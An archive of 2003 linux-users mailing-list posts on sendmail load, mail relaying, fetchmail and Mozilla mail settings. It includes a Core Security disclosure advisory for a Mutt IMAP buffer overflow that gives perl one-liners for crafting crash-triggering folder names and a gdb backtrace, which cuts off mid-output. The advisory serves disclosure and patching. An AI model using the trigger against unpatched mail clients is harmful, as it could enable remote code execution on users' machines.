mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Related sendmail mail queue
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Andrew Mathews wrote: snip | Change the QUEUE to something like 5m to process it once a minute. This | is extreme, so use it at your own risk. snip Typo. 5m is every 5 minutes, not once a minute. Sorry. #cd /pub #more beer - -- Andrew Mathews - - ~ 8:31pm up 15 days, 10:33, 12 users, load average: 1.01, 1.09, 1.08 - - Indecision is the true basis for flexibility. - -- -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Using GnuPG with Netscape - http://enigmail.mozdev.org iD8DBQE+69sKidHQ0m/kEssRAmNFAJ4tohsS9DZPFGpKZojhxr0Wst7cOwCfVITG B9T9Bm6E1+PqxrIbkzL6EnY= =K4tr -END PGP SIGNATURE- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Related sendmail mail queue
Hi How much memory does this box have? The OS Redhat linux 8.0 Mem: 517156864 306970624 2101862400 54534144 178073600 Swap: 107347148820480 1073451008 MemTotal: 505036 kB MemFree:205260 kB MemShared: 0 kB Buffers: 53256 kB Cached: 173892 kB SwapCached: 8 kB Active: 159200 kB Inact_dirty: 96288 kB Inact_clean: 1308 kB Inact_target:51356 kB HighTotal: 0 kB HighFree:0 kB LowTotal: 505036 kB LowFree:205260 kB SwapTotal: 1048312 kB SwapFree: 1048292 kB Committed_AS:75752 kB What kind of HDs? What's the load like when its taking an hour to send mail? Load is varying 15 - 22 ...in this server only i am running sendmail NO other processing is going on. Which version of sendmail? sendmail-8.12.5-7 Which kernel version? kernel-2.4.18-14 Regards. -Swapna __ Do you Yahoo!? SBC Yahoo! DSL - Now only $29.95 per month! http://sbc.yahoo.com ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Related sendmail mail queue
On 06/14/03 20:55, Swapana Ghosh wrote: What kind of HDs? What's the load What kind of HDs? like when its taking an hour to send mail? Load is varying 15 - 22 ...in this server only i am running sendmail NO other processing is going on. Something is not right if the load is that high. What kind of a network is this on? -- ~ L. Friedman[EMAIL PROTECTED] Linux Step-by-step TyGeMo:http://netllama.ipfox.com 8:55pm up 1:41, 1 user, load average: 0.07, 0.21, 0.33 ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Transferring Mozilla Mail filter rules between installations
Folks, I have mozilla installed as my IMAP client on WinXP and MDK9.0. I blow away my sessions change profiles and generally gig around with mozilla regularly I am wondering is it possible to transfer the basic Mail filter rules so that I don't have to labouriously go in and create them new each time. James ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Transferring Mozilla Mail filter rules between installations
James McDonald wrote: Folks, I have mozilla installed as my IMAP client on WinXP and MDK9.0. I blow away my sessions change profiles and generally gig around with mozilla regularly I am wondering is it possible to transfer the basic Mail filter rules so that I don't have to labouriously go in and create them new each time. James ___ Move or copy the rules.dat to or from your ~/.mozilla/username/profilename/ImapMail/servername directory. If you have multiple IMAP servers, of course be careful to move it to the correct one. :) -- Andrew Mathews - 7:31am up 13:18, 9 users, load average: 1.14, 1.10, 1.13 - Moon, n.: 1. A celestial object whose phase is very important to hackers. See PHASE OF THE MOON. 2. Dave Moon ([EMAIL PROTECTED]). ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
RE: Transferring Mozilla Mail filter rules between installations
On an windows box it should go into: \Documents and Settings\username\Application Data\Mozilla \Profiles\name\xxx.slt\Imapmail\servername\rules.dat -jhb- -Original Message- From: Andrew Mathews [mailto:[EMAIL PROTECTED] Sent: Friday, April 04, 2003 8:35 AM To: [EMAIL PROTECTED] Subject: Re: Transferring Mozilla Mail filter rules between installations James McDonald wrote: Folks, I have mozilla installed as my IMAP client on WinXP and MDK9.0. I blow away my sessions change profiles and generally gig around with mozilla regularly I am wondering is it possible to transfer the basic Mail filter rules so that I don't have to labouriously go in and create them new each time. James ___ Move or copy the rules.dat to or from your ~/.mozilla/username/profilename/ImapMail/servername directory. If you have multiple IMAP servers, of course be careful to move it to the correct one. :) -- Andrew Mathews - 7:31am up 13:18, 9 users, load average: 1.14, 1.10, 1.13 - Moon, n.: 1. A celestial object whose phase is very important to hackers. See PHASE OF THE MOON. 2. Dave Moon ([EMAIL PROTECTED]). ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
CORE-20030304-02: Vulnerability in Mutt Mail User Agent
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Core Security Technologies Advisory http://www.coresecurity.com Vulnerability in Mutt Mail User Agent Date Published: 2003-03-20 Last Update: 2003-03-19 Advisory ID: CORE-20030304-02 Bugtraq ID: 7120 CVE CAN: None currently assigned Title: Mutt Controlled IMAP server buffer overflow Class: Boundary Error Condition (Buffer Overflow) Remotely Exploitable: Yes Locally Exploitable: No Advisory URL: http://www.coresecurity.com/common/showdoc.php?idx=310idxseccion=10 Vendors notified: . Core Notification: 2003-03-11 . Notification aknowledged by Mutt: 2003-03-12 . Fix developed by Mutt: 2003-03-17 . Fix incorporated to releases of Mutt stable and unstable branches: 2003-03-19 . Public announcement of fixed packages: 2003-03-19 Release Mode: COORDINATED RELEASE *Vulnerability Description:* Mutt is a very popular small text-based MUA (Mail User Agent) for Unix operating systems. For more information about Mutt visit http://www.mutt.org The Mutt Mail User Agent (MUA) has support for accessing remote mailboxes through the IMAP protocol. By controlling a malicious IMAP server and providing a specially crafted folder, an attacker can crash the mail reader and possibly force execution of arbitrary commands on the vulnerable system with the privileges of the user running Mutt. *Vulnerable Packages:* Versions of Mutt up to, and including, 1.4.0 (stable) Versions of Mutt up to, and including, 1.5.3 (unstable) *Solution/Vendor Information/Workaround:* Mutt 1.4.1 (stable branch) and 1.5.4 (unstable) have been released with a fix for the vulnerability. These versions will soon be available from ftp://ftp.mutt.org/mutt/. *Credits:* This vulnerability was found by Diego Kelyacoubian, Javier Kohen, Alberto Solino, and Juan Vera from Core Security Technologies during Bugweek 2003 (March 3-7, 2003). We would like to thank Thomas Roessler, Edmund Grimley Evans and Marco d'Itri for their quick response to our report and the generation of fixed Mutt packages. *Technical Description - Exploit/Concept Code:* According to the RFC2060 (INTERNET MESSAGE ACCESS PROTOCOL - VERSION 4rev1), section 5.1.3: By convention, international mailbox names are specified using a modified version of the UTF-7 encoding described in [UTF-7]. When mutt has to convert from its internal representation in UTF-8 to UTF-7-like encoding it calls indirectly the function utf8_to_utf7() in module imap/utf7.c. The aforementioned function miscalculates the maximum output length; therefore provided that one can control the IMAP server, it is possible to craft a folder name that will generate output at least 50% larger than the calculated maximum. These perl oneliners will generate two different folder names whose length is past the calculated maximum: perl -e 'print (chr(0x10) x 20)' perl -e 'print ((chr(0x10) . chr(0x41)) x 20)' The second produces a longer output after conversion. It might be necessary to increase the multiplier to see Mutt crash. A post-mortem analysis of the crashed process shows: #0 0x4207434f in _int_realloc () from /lib/i686/libc.so.6 #1 0x42073416 in realloc () from /lib/i686/libc.so.6 #2 0x080aafbd in safe_realloc (p=0xbfffe194, siz=121) at lib.c:96 #3 0x080c58d2 in utf8_to_utf7 (u8=0x80f5708 , u8len=0, u7=0xbfffe1d4, u7len=0x0) at utf7.c:237 #4 0x080c5961 in imap_utf7_encode (s=0xbfffe1d4) at utf7.c:252 #5 0x080c4cf7 in imap_munge_mbox_name ( dest=0xbfffe720 imap://[EMAIL PROTECTED]/\020A\020A\020A\020A\020A\020A\020A\020A \020A\020A\020A\020A\020A\020A\020A\020A\020A\020A\020A\020A, dlen=1024, src=0x80f0e90 \020A\020A\020A\020A\020A\020A\020A\020A\020A\020A\020A\020A\020A \020A\020A\020A\020A\020A\020A\020A) at util.c:507 #6 0x080bfe65 in imap_open_mailbox (ctx=0x80f0d78) at imap.c:548 #7 0x08082cca in mx_open_mailbox ( path=0xbfffedd0 imap://[EMAIL PROTECTED]/\020A\020A\020A\020A\020A\020A\020A\020A \020A\020A\020A\020A\020A\020A\020A\020A\020A\020A\020A\020A, flags=0, pctx=0x0) at mx.c:694 #8 0x0805ff66 in mutt_index_menu () at curs_main.c:1032 #9 0x08079083 in main (argc=3, argv=0xba04) at main.c:841 #10 0x420158d4 in __libc_start_main () from /lib/i686/libc.so.6 gdb) x/10i $pc 0x4207434f _int_realloc+175: testb $0x1,0x4(%eax,%esi,1) 0x42074354 _int_realloc+180: jne0x4207440b _int_realloc+363 0x4207435a _int_realloc+186: mov0xffe8(%ebp),%edi 0x4207435d _int_realloc+189: add%eax,%edi 0x4207435f _int_realloc+191: cmp0xfff0(%ebp),%edi 0x42074362 _int_realloc+194: jb 0x4207440b _int_realloc+363 0x42074368 _int_realloc+200: mov0x8(%esi),%edx 0x4207436b _int_realloc+203: mov0xc(%esi),%eax 0x4207436e _int_realloc+206: mov%eax,0xc(%edx) 0x42074371 _int_realloc+209: mov%edx,0x8(%eax) (gdb) p/x $eax $22
ADMIN: mail is back
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 luckily, mimedefang covered us during the short time we were vulnerable. please, keep your anti-sendmail comments to yourself. thanks - -- Douglas J Hunley (doug at hunley.homeip.net) - Linux User #174778 Admin: Linux StepByStep - http://www.linux-sxs.org and http://jobs.linux-sxs.org But that's like saying that you know that you're going to build a car with four wheels and headlights - it's true, but the real bitch is in the details. - Linus -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+ZJzf2MO5UukaubkRApYWAJ97641L9cG4jNI6/xa/3XTyVvtPBwCgjtfM tbn9sx0Zmfm8WUm4QbfzV7A= =EWqG -END PGP SIGNATURE- ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Hosed linux-sxs.org mail Re: OT Re: Ogg
On Sat, 22 Feb 2003 19:08:58 -0800, Net Llama! wrote: problem is that the load on the box is over 20.00, with mimedefang.pl going bezerk. Thats interesting. Is there a relaying issue? ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Mail Question
On Mon, 10 Feb 2003 14:22:08 +0800 Chong Yu Meng [EMAIL PROTECTED] wrote: [snip] Problem : The mail will be delivered if the recipient has a email account on XYZ.com (i.e. [EMAIL PROTECTED]), but if the recipient belongs to some other domain, the mail will not get delivered. relay problem -- you're not permitted to relay. The mail server must accept mail from the web host for relay. You need an entry in /etc/mail/access for the web server. [snip] After discussing this problem with the ISP, I was told that one workaround is to install an SMTP agent on my server. This will work, but you may find some mails servers complaining about your not having an MX address. Best to have the mail sent to a system you are permitted to relay through that is a legitimate e-mail server. That server can always rewrite the mail header any way you need. [snip] Ciao, David A. Bandel -- Focus on the dream, not the competition. Nemesis Racing Team motto msg11979/pgp0.pgp Description: PGP signature ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Mail Question
HI! Yes as your sendmail should simply go directly to the recipients mail server. Or the simpler alternative is to direct the email through whatever email server your machine is allowed to relay through already. That will accomplish the same result without needing sendmail. Stayler On Mon, 10 Feb 2003 14:22:08 +0800, Chong Yu Meng wrote: My question is this : Was the engineer just blowing smoke at me, or does that actually work ? If the MX record of XYZ.com points to another server (and I can't change the record), and I install sendmail or postfix on my server, and point my servlet to localhost as the SMTP server, will mail delivery succeed, even if mail relaying is denied ? ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Mail Question
Ok, here's my first question on the list : Scenario : Company XYZ, which I used to work for, deployed a server in a certain local ISP. I wrote a Java servlet that tries to mail the results of a form to the server administrator, along with an acknowledgement email to the person who filled out the form. Problem : The mail will be delivered if the recipient has a email account on XYZ.com (i.e. [EMAIL PROTECTED]), but if the recipient belongs to some other domain, the mail will not get delivered. I'm thinking that this is probably a mail server problem, and, in fact, I have found that other companies that hosted with this ISP have similar problems. The mail server does not appear to accept relaying. Since I have already left the company, getting access to the error logs is not really an option. After discussing this problem with the ISP, I was told that one workaround is to install an SMTP agent on my server. My question is this : Was the engineer just blowing smoke at me, or does that actually work ? If the MX record of XYZ.com points to another server (and I can't change the record), and I install sendmail or postfix on my server, and point my servlet to localhost as the SMTP server, will mail delivery succeed, even if mail relaying is denied ? Any help clarifying this would be greatly appreciated ! Regards, pascal chong ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: fetchmail choked on a piece of mail
On Wed, Feb 05, 2003 at 11:31:37PM -0500, Kurt Wall wrote: Some sort of unexpected (duh) binary character? Did it stop at the same location each time? Yes, it seemed to. It was long, but not dramtically long, perhaps two lines of dots instead of the usual 1/4th line or so. Joel ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
fetchmail choked on a piece of mail
My incoming mail goes to various mail servers on the internet, and I run fetchmail to get them from various POP servers. Today, for the first time in memory, when fetchmail tried getting my mail, a particular piece of mail kept freezing during the download and fetchmail would finally stop, giving an error message of some sort or another. I had to go onto the server with telnet and delete that piece of mail, then, all went well. So, the question: What kind of mail would freeze the download and kill fetchmail? Joel ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: fetchmail choked on a piece of mail
On 02/05/03 19:56, Joel Hammer wrote: My incoming mail goes to various mail servers on the internet, and I run fetchmail to get them from various POP servers. Today, for the first time in memory, when fetchmail tried getting my mail, a particular piece of mail kept freezing during the download and fetchmail would finally stop, giving an error message of some sort or another. I had to go onto the server with telnet and delete that piece of mail, then, all went well. So, the question: What kind of mail would freeze the download and kill fetchmail? some f00l who sent you a 948MB attachment? -- ~ L. Friedman [EMAIL PROTECTED] Linux Step-by-step TyGeMo: http://netllama.ipfox.com 7:55pm up 23 days, 3:23, 1 user, load average: 0.19, 0.10, 0.05 ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: fetchmail choked on a piece of mail
Feigning erudition, Joel Hammer wrote: % My incoming mail goes to various mail servers on the internet, and I run % fetchmail to get them from various POP servers. % % Today, for the first time in memory, when fetchmail tried getting my mail, % a particular piece of mail kept freezing during the download and fetchmail % would finally stop, giving an error message of some sort or another. % I had to go onto the server with telnet and delete that piece of mail, % then, all went well. % % So, the question: What kind of mail would freeze the download and kill % fetchmail? Some sort of unexpected (duh) binary character? Did it stop at the same location each time? Kurt -- Atlee is a very modest man. And with reason. -- Winston Churchill ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
RE: several pop mail acounts...
How about fetchmail? Wil McGilvery Manager, Digital Media 416-744-7191 416-716-3964 (cell) 1-888-622-3729 416-744-0406 FAX www.LynchDigital.com -Original Message- From: Bill Day [mailto:[EMAIL PROTECTED]] Sent: Monday, February 03, 2003 11:57 AM To: linux users Subject: several pop mail acounts... I have several popmail accounts and would like to pull them all down to my linux box(which also has its own mail server, that works)... What all do I need..? I have running Trustix realease of postfix-0.0.20010228.pl08-2tr. TIA, Bill Day Linux 2.2.20-1tr i586 10:10am up 29 days, 15:45, 0 users, load average: 0.00, 0.01, 0.00 We're still up at irc.openprojects.net @ #linux-users or irc.freenode.net @ #linux-users http://counter.li.org #83358 http://sxs.daysdomain.com/ --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.449 / Virus Database: 251 - Release Date: 1/27/03 ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
several pop mail acounts...
I have several popmail accounts and would like to pull them all down to my linux box(which also has its own mail server, that works)... What all do I need..? I have running Trustix realease of postfix-0.0.20010228.pl08-2tr. TIA, Bill Day Linux 2.2.20-1tr i586 10:10am up 29 days, 15:45, 0 users, load average: 0.00, 0.01, 0.00 We're still up at irc.openprojects.net @ #linux-users or irc.freenode.net @ #linux-users http://counter.li.org #83358 http://sxs.daysdomain.com/ --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.449 / Virus Database: 251 - Release Date: 1/27/03 ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Mozilla mail question
Feigning erudition, Susan Macchia wrote: % Hi all, % % I use Mozilla connecting to the exchange server which is POP. I like mozilla % much better, with its color coding of the inbox, etc. When I receive outlook % html formatted email, it looks like plain text in mozilla. This is a real % problem because in lengthy conversations, it becomes much more difficult to % follow since color coding and font changes may be used. I have tried saving an % Outlook mail that I've sent as html and then reading it with mozilla, and it % looks fine. This leads me to believe that the html produced by outlook is % readable by mozilla. When I read email that I've sent (formatted as html), it % looks fine in both outlook and mozilla. % % I've searched the mozilla preferces over and over to see if there is some kind % of setting, but don't see anything. Does anyone have any idea what mozilla % could be doing? % % BTW, I tried Kmail and it has the same problem! So it could be something in % outlook? Ideas of where I could start to look would be welcome. Hmm. What I would do is to look at the HTML Outlook produces and see what it is doing that may be confusing Mozilla. Could it be something that is fixed in a newer version of Mozilla? Kurt -- Main's Law: For every action there is an equal and opposite government program. ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
Re: Mozilla mail question
Susan Macchia wrote: Hi all, Before I state my problem, I want to apologize for this not being a linux only question. But I thought that some of you might have experienced this problem. Ok, here goes: At my job most folks use MS Outlook for email and generally format their email in HTML. I use Mozilla connecting to the exchange server which is POP. I like mozilla much better, with its color coding of the inbox, etc. When I receive outlook html formatted email, it looks like plain text in mozilla. This is a real problem because in lengthy conversations, it becomes much more difficult to follow since color coding and font changes may be used. I have tried saving an Outlook mail that I've sent as html and then reading it with mozilla, and it looks fine. This leads me to believe that the html produced by outlook is readable by mozilla. When I read email that I've sent (formatted as html), it looks fine in both outlook and mozilla. I've searched the mozilla preferces over and over to see if there is some kind of setting, but don't see anything. Does anyone have any idea what mozilla could be doing? BTW, I tried Kmail and it has the same problem! So it could be something in outlook? Ideas of where I could start to look would be welcome. TIA = _ Susan Macchia mailto:[EMAIL PROTECTED] _ - Running Linux - because life is too short for reboots... ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users There is an article in the February issue of Linux Journal about replacing Microshaft Exchange (there is a commercial product at http://www.bynari.net/insightserver.html). From what I can tell Outlook users who connect to the Exchange server exchange messages in a proprietary format with proprietary headers (Corporate WorkGroup Mode). When you connect with Mozilla as a POP client, it can't decode this format. If your send mail with Mozilla, it never converts the mail to a non standard format, so you can read it just fine. If the Outlook users were to be connected to a standard POP/IMAP server they would be in Internet Mail Only Mode and would stick closer to the standard so you could probably read their stuff. If your mail were on a different non-Exchange system, mail from your Outlook/Exchange users would have to go through an MTA which would recode the message and headers to standard before sending it on to the remote system. You should be able to read that fine too. The problem is indeed the use of a non-standards based mail system. We have a similar situation here. The primary campus mail system is Lotus Blotes. It uses a proprietary format for messages between Blotes Client/Server users. If a message is sent to a non Blotes mail system, the MTA converts it to standard (usually very poorly, I'm sure the same is true of Exchange). If a user connects to the Blotes server with a standard client, such as Mozilla, via POP/IMAP they cannot view the formatting of the message properly because it is still in a Blotes proprietary format. Only thing I know that might work is to have your mail forwarded to another non-Exchange server and see if the MTA converts it to standards well enough for your client to interpret it. Jason Joines Open Source = Open Mind === ___ Linux-users mailing list [EMAIL PROTECTED] Unsubscribe/Suspend/Etc - http://www.linux-sxs.org/mailman/listinfo/linux-users
